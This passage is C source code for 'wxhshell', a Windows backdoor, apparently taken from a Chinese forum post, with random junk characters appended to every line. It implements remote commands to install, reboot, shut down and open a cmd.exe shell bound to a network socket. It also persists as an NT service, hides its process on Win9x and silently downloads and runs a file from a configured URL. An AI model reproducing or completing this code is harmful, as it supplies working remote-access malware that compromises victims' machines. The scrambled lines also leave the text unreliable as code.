      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Jv59zI  
    break; 3EA`]&d>  
  } h8:5[;e  
  // 安装 EO G&Xa  
  case 'i': { T49^  
    if(Install()) 5`{u! QE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C |P(,Xp  
    else \'>d.'d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7-4S'rq+  
    break; *iXaQuT  
    } DUvF  
  // 卸载 SAokW,  
  case 'r': { Tr "Bz!  
    if(Uninstall()) EsjZ;D, c(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #~`d ;MC  
    else ejlau#8"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~~{+?v6B]  
    break; z{A~d  
    } @K}Bll.E  
  // 显示 wxhshell 所在路径 '%KaAi$  
  case 'p': { 9&'HhJm  
    char svExeFile[MAX_PATH]; {hBnEj^@  
    strcpy(svExeFile,"\n\r"); PG3,MCf:  
      strcat(svExeFile,ExeFile); 'b Kc;\  
        send(wsh,svExeFile,strlen(svExeFile),0); +/!y#&C&*  
    break; }cERCS\t  
    } Z^%aXaf8  
  // 重启 ]ujXPK=t  
  case 'b': { [*^ rH:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >JT^[i8[  
    if(Boot(REBOOT)) gi<%: [jT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Eh_  
    else { WU{9lL=  
    closesocket(wsh); |/~ISB  
    ExitThread(0); pU[5f5_  
    } oU)3du   
    break; l'kVi  
    } YguY5z  
  // 关机 T!QAcO  
  case 'd': { {i/7Nx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tJ Mm  
    if(Boot(SHUTDOWN)) }W5~89"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I$JyAj  
    else { _E4_k%8y  
    closesocket(wsh); Q=F^Y f  
    ExitThread(0); e+Sq&H!@  
    } F3&:KZ!V&m  
    break; h?-M+Ac  
    } $(&+NJ$U$  
  // 获取shell UaM&/K9  
  case 's': { _t@9WA;+\  
    CmdShell(wsh); MsjC4(Xla.  
    closesocket(wsh); l`?4O  
    ExitThread(0); A\QrawBp0l  
    break; =$WDB=i  
  } 7x)32f"  
  // 退出 X oh@(%  
  case 'x': { $fQ'q3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =7Sw29u<  
    CloseIt(wsh); k;pU8y6Y  
    break; Hw%lT}[O  
    } ZBXn&Gm  
  // 离开 T,5(JP(h3  
  case 'q': { i?|b:lcV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nv%0EAa#}  
    closesocket(wsh); :}[ D;cx  
    WSACleanup(); hpz DQ6-Y  
    exit(1); %DuSco"  
    break; 7WEoyd  
        } Tu-I".d+  
  } Wo<kKkx2  
  } ]vq=~x  
%^(} fu  
  // 提示信息 .5+5ca  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7*g'4p-  
} 9RJFj?^"  
  } ;  8u5  
uAv'%/  
  return; <M M(Z  
} fx = %e  
`;z;=A*  
// shell模块句柄 Zie t-@}  
int CmdShell(SOCKET sock) G|)fZQ1nS  
{ _>i<`k  
STARTUPINFO si; ?oQAxb&  
ZeroMemory(&si,sizeof(si)); [OQ+&\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mM-7 j z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T*zy^we  
PROCESS_INFORMATION ProcessInfo; yrV]I(Xe  
char cmdline[]="cmd"; 7:X@lmBz=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qd"u$~ qC  
  return 0; xoNn'LF#u  
} A&=`?4>  
onF?;>[  
// 自身启动模式 TPWqiA?3Cp  
int StartFromService(void) k~pbXA*u  
{ Nj`Miv o  
typedef struct 8 qwOZ d  
{ # 3gdT  
  DWORD ExitStatus; &1ss @-  
  DWORD PebBaseAddress; DWcEl:  
  DWORD AffinityMask; Gkz~x Qy1T  
  DWORD BasePriority; x<h-F  
  ULONG UniqueProcessId; O%rt7qV"g2  
  ULONG InheritedFromUniqueProcessId; Tg/r V5@ka  
}   PROCESS_BASIC_INFORMATION; 07A2@dx  
l5,}yTUta  
PROCNTQSIP NtQueryInformationProcess; bb"x^DtT  
,[)f-FmcU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uqK[p^{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [C(>e0r  
r+;AEN48  
  HANDLE             hProcess; JsbH'l  
  PROCESS_BASIC_INFORMATION pbi; (Q ~<>  
ZIvP?:=!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6D1tRo  
  if(NULL == hInst ) return 0; R4[dh.lf  
#{suH7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H"%SzU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~6Df~uN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vAo|o *  
@BS7Gyw  
  if (!NtQueryInformationProcess) return 0; h} <Ie <  
{ZD'l5jU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vm`\0VGSW  
  if(!hProcess) return 0; E>w|i  
eVujur$P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t7b\#o  
R*z:+p}oHy  
  CloseHandle(hProcess); XyytO;X M-  
G~`nLC^Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1JO@G3,  
if(hProcess==NULL) return 0; #;9n_)  
!UW{xHu  
HMODULE hMod; EPL"H:o5%<  
char procName[255]; (X}Q'm$n\h  
unsigned long cbNeeded; #dm"!I>g  
pPt w(5bH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +*P;Vb6D  
yB,{:kq7D  
  CloseHandle(hProcess); :gacP?  
/2AeJH\-  
if(strstr(procName,"services")) return 1; // 以服务启动 Q>[GD(8k  
%2`geN<  
  return 0; // 注册表启动 wNhtw'E8  
} zHW}A `Rz  
,.PmH.zjmR  
// 主模块 ?ZlN$h^  
int StartWxhshell(LPSTR lpCmdLine) CAV Q[r5y  
{  *"K7<S[  
  SOCKET wsl; 'Z ,T,zW  
BOOL val=TRUE; g;PZ$|%&s>  
  int port=0; BSbi.@@tp  
  struct sockaddr_in door; T1c.ER}17  
jq"iLgEMO  
  if(wscfg.ws_autoins) Install();  |_ `wC  
_ ^cFdP)8|  
port=atoi(lpCmdLine); 6o^sQ(]  
!ie'}|c  
if(port<=0) port=wscfg.ws_port; e-/+e64Q@  
#ysSfM6  
  WSADATA data; /\|AHM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e x`mu E  
ql c{k/ u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GK-__Y.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XH{P@2~l  
  door.sin_family = AF_INET; DqTp*hI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [d/uy>z,  
  door.sin_port = htons(port); @I,:(<6  
X6lUFko  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z=\wI:TY1  
closesocket(wsl); @8qo(7<~Q  
return 1; CPS1b  
} t+`>zux5(T  
NgPY/R>  
  if(listen(wsl,2) == INVALID_SOCKET) { 1>e%(k2w%  
closesocket(wsl); UO{3v ry48  
return 1; 64h$sC0z/e  
} }iCcXZ&5^  
  Wxhshell(wsl); A*_ |/o  
  WSACleanup(); )+xHv  
lH8e?zJ  
return 0; 8{ iFxTz  
{ WW!P,w  
} 3D/<R|p  
FR9*WI   
// 以NT服务方式启动 U6Ws#e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #_}r)q  
{ L:3  
DWORD   status = 0; E3<~C(APW  
  DWORD   specificError = 0xfffffff; a}#Jcy!e  
!>Ru= $9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $2+(|VG4F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; skR I \  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #:6gFfk0<  
  serviceStatus.dwWin32ExitCode     = 0; Kx@;LRY#  
  serviceStatus.dwServiceSpecificExitCode = 0; r%DaBx!x8  
  serviceStatus.dwCheckPoint       = 0; cf ~TVa)M  
  serviceStatus.dwWaitHint       = 0; x9{&rl dC  
*)4 `"D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o(_~ st<  
  if (hServiceStatusHandle==0) return; zP$Ef7bB  
); <Le6  
status = GetLastError(); fPLi8`r  
  if (status!=NO_ERROR) QN$Ac.F  
{ o#ajBOJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xIh,UW#  
    serviceStatus.dwCheckPoint       = 0; T nG=X:+=  
    serviceStatus.dwWaitHint       = 0; rAZsVnk?  
    serviceStatus.dwWin32ExitCode     = status; cw)'vAE  
    serviceStatus.dwServiceSpecificExitCode = specificError; ubvXpK:.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C-6m[W8S  
    return; 4RXF.kJ3=  
  } v)AadtZ0d  
_YM]U`*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;YK{[$F  
  serviceStatus.dwCheckPoint       = 0; Sx^4Y\\  
  serviceStatus.dwWaitHint       = 0; uk)6%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 540,A,>:tb  
} | N/Wu9w$  
hd E?%A  
// 处理NT服务事件,比如:启动、停止 gQ@fe3[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [hT|]|fJS;  
{ o/Cu^[an  
switch(fdwControl) -WX{ y Ci  
{ ?6[X=GeUs  
case SERVICE_CONTROL_STOP: )Ap0" ?q  
  serviceStatus.dwWin32ExitCode = 0; sF=8E8qa   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D+:}D*_&  
  serviceStatus.dwCheckPoint   = 0; t/HUG#W{  
  serviceStatus.dwWaitHint     = 0; %ymM#5A  
  { j%y)%4F8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [)&(zJHX  
  } z8"(Yy7m  
  return; S@'yuAe*G  
case SERVICE_CONTROL_PAUSE: ^s=p'&6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4:Bpz;x  
  break; ~>]/1JFz  
case SERVICE_CONTROL_CONTINUE: WKwU:im  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m {)F9F  
  break; h+rrmC  
case SERVICE_CONTROL_INTERROGATE: e%O]U:Z  
  break; j;+!BKWy4  
}; Ea7LPHE#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4xE [S  
} STxreW1  
(Z72 3)  
// 标准应用程序主函数 AX= 4{b'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TT0~41&l  
{ 1-=zSWmyK  
1*>lYd8 _  
// 获取操作系统版本 DE^@b+6  
OsIsNt=GetOsVer(); \?X'U:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^8#;>+7R  
D\ H) uV`  
  // 从命令行安装 a &89K  
  if(strpbrk(lpCmdLine,"iI")) Install(); &74*CO9B9  
qU) pBA  
  // 下载执行文件 H)${"  
if(wscfg.ws_downexe) { WF.y"{6>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ct3^V M&/  
  WinExec(wscfg.ws_filenam,SW_HIDE); =h{j F7  
} X!w&ib-  
wv eej@zs  
if(!OsIsNt) { 32N *E,  
// 如果时win9x,隐藏进程并且设置为注册表启动 J:q:g*Wi  
HideProc(); mP?~#RZ  
StartWxhshell(lpCmdLine); o|v_+<zD!  
} 8@f=GJf  
else e{dYLQd  
  if(StartFromService()) )|`# BC  
  // 以服务方式启动 d&'}~C`~k  
  StartServiceCtrlDispatcher(DispatchTable); -X6[qLq  
else l{7q(  
  // 普通方式启动 kZsat4r  
  StartWxhshell(lpCmdLine); }8W5m(Zq9n  
S1R:/9 z  
return 0; nDh D"rc  
}
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只看该作者 1 发表于: 2006-10-10
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